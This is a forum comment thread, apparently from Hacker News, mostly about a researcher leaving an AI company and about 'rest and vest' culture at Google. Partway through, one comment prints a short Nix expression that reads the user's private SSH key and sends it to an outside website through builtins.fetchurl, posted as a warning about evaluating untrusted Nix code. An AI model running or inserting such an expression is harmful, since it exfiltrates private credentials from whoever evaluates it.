"Get next major feature to release and you can go as a friend" might have been part of an earlier agreement.

More like they iced him for the last 6 months to ensure he wasn’t taking their lead to a competitor. He probably hasn’t touched anything in that time.

I have to say I'm a bit surprised "gardening leave" is not more of a norm in tech like it is in investment banking or finance.

It's already become the norm in Big Tech for layoffs to avoid filing WARN notices.

Big Tech wasn't what I expected, it seems there's almost a forced perspective that individuals don't make a difference (they do)

One of the inputs into any business is labor, if labor is replaceable then business can function much more cost efficiently, since market forces on a replaceable commodity will reduce its cost. So, big tech acts as though labor is replaceable, because it’s in its economic interest to have that be true, hence the desire for standardization, procedure and systematization of labor, if an individuals output is not unique, they can be replaced, and if they are a replaceable commodity, then market forces will reduce their costs.

Sure business can fire the drones, but institutional know how goes away with the top talent.

Not the leaving one is the only individual that matters. The org is made of them too, deals have to be made. Would be easier without having to regulate egos.

Sitting on the roof?

Rest and Vest baby!

remember that from the Silicon Valley (HBO) episode. :)

That was literally me at Google

How can I get this gig at Google? I’m willing to not work for mid to high six figures.

You have to be someone who’s worth more not working for someone else than not working for Google.

You don't want it. They'll simultaneously pay you big money to stop you from working somewhere else, and crush your soul at the same time.

Also they won't do that anymore, I'm sure.

You don’t. It’s soul crushing.

Yup. I quit!

Silicon Valley is one of the most underrated documentaries of the last decade.

If you extend the window a little bit, along Yes Minister, Idiocracy and Demolition Man (the last two being a documentary of our time filmed 20y ago).

> Idiocracy

I definitely enjoyed this movie, and it's understandable that people of any era, starting with ancient Greece, enjoy lamenting at how stupid people are becoming. However, as long as videos explaining quantum physics and 4-hour long interviews with historians and engineers are still one of the most popular kinds of content on Youtube, I would suggest that it's not a documentary, at least not yet.

All that is dwarfed next to the amount of people watching the latest reaction to a repost of a video in TikTok.

It’s always been the case that most people are mediocre in terms of intelligence. That’s something we should be able to accept. What I want for the future is for more people to be good and happy.

Yeah, that’s Google’s reputation. Probably the most famous retirement home in the Bay.

but it's not true. Most people work a lot at G. Maybe some teams in search coast or something. But for every slacker I know 8 people who stay late a fair bit.

"Most" leaves a lot of room there.

Of course there are lots of hard workers at Google. You suggest only about 10% are slackers. But that's 10% of a -lot-.

I'm thinking there's a market for an Android app that let's one schedule limited roof space...

“Working a lot” doesn’t necessitate “staying late”

Nah man come on lol. (source: worked at Google 2016-2023)

My experience differs greatly, company I used to work for did NDA, alpha, beta projects with Google. I was always impressed at how little anyone knew, the fact that nothing was delivered on time, scope creep to the point of almost everything being delayed and most projects were not well thought out nor well architected. I warned one API update would break things if it went live, and it did. Why was the guy from another company the only one able to see that? I’m sure they were working hard at something but it wasn’t ever clear what.

But ask a dynamic programming question and watch it get smashed out None of the points you raise relate to being really good at dynamic programming

Haha if only dynamic programming was what least to greatness in software engineering.

Yeah, and if you have any problem estimating the golfball carrying capacity of a schoolbus, Google are your go-to guys.

>company I used to work for did NDA, alpha, beta projects with Google.

Sorry, are you saying you worked with Google Contractors or TSEs or something? I don't understand how you'd be working with product SWEs so I don't know what you're quite saying.

Speaking as Google SWE from 2016-2023: It's hard to explain*, but, because of the rest and vest culture, lack of planning, lack of interest in managing, conflict avoidance, asocial engineers, etc., an incredible amount of tentpole feature work is actually outsourced.

i.e. get the contractors in to rush out the new 5D screensavers, give them the contact info for our screensaver technical lead, and let them work it out. Screensaver technical lead saying they don't have resources for this until 30 months from now is placated. Their tendency to jealously guard code and talk smack is directed at people who will never know. The understanding that you always say "Sir Yes Sir" prevents them from complaining to their manager behind a few nasty comments they'll giggle about to eachother.

Of course, this also saves money too: ex. director-make-work "vision" projects that'll never ship, and are temporary work for worker bees, now can be temporarily staffed. (hence their reference to NDA/alpha/beta)

* especially in the context of the claim that there's 8:1 ratio of late night workers to rest-and-vesters. Crazy.

When you(and your customers) consume several hundred million dollars a year in services, you get access to a lot of things. These were not contractors, they were on product teams.

Strong disagree, I’ve never seen people work less than my time there.

I've actually met someone who was "on the roof" at Google once. I asked what he was working on and he admitted he hasn't had a project for the last six months. Until that point I thought the roof was a joke.

Those were exactly my thoughts, too.

Sounds like a threat.

When you take a shot at the king, you better not miss.

Or, in this case, when you take a shot at Machiavelli.

Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at https://news.ycombinator.com/item?id=40208937 , but that comment was made too long ago and I can no longer reply to it directly.

In that comment, you wrote:

> It can delete your home directory or email your ssh private keys to Zimbabwe.

I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):

    let
      pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
    in
    builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"

It does not need --impure or any other unusual switches to work.

Hope this helps.

How is that supposed to "delete my home directory"?

Also, it doesn't work:

    error: access to absolute path '/home/user/.ssh/id_rsa' is forbidden in restricted mode

Maybe you don't know about restrict-eval? All the CI for nixpkgs is done using that option, so it will never break anything. Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.

https://nixos.org/manual/nix/unstable/command-ref/conf-file....

Hope this helps.

I don't think it did. I'm not sure what it was supposed to help with.

> How is that supposed to "delete my home directory"?

Ah, I over-quoted that part. My mistake.

> Also, it doesn't work:

It will work with the default Nix settings.

> Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.

One would need to first turn it on to be able to turn it off.

> https://nixos.org/manual/nix/unstable/command-ref/conf-file....

Indeed, note the default value.

> I don't think it did. I'm not sure what it was supposed to help with.

I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.

Lest you find yourself in a private jet careening into the ground.

When you take a shot at the king, you get reported to the police and go to jail.

I mean, people can also get attached to a feature release.

"I want to work with the team to get this thing done"

I would imagine he’d been thinking about it for a while, and maybe with all the buzz about him at the same time of the release, he was asked to decide.

Could be a clever play. They sandwiched google io with news which has taken attention from Google. Plus they just had a big announcement so the negative news hits a little less hard.

I believe Omni was his work based on an interview he gave about end to end multimodal training being needed to move to the next level of understanding.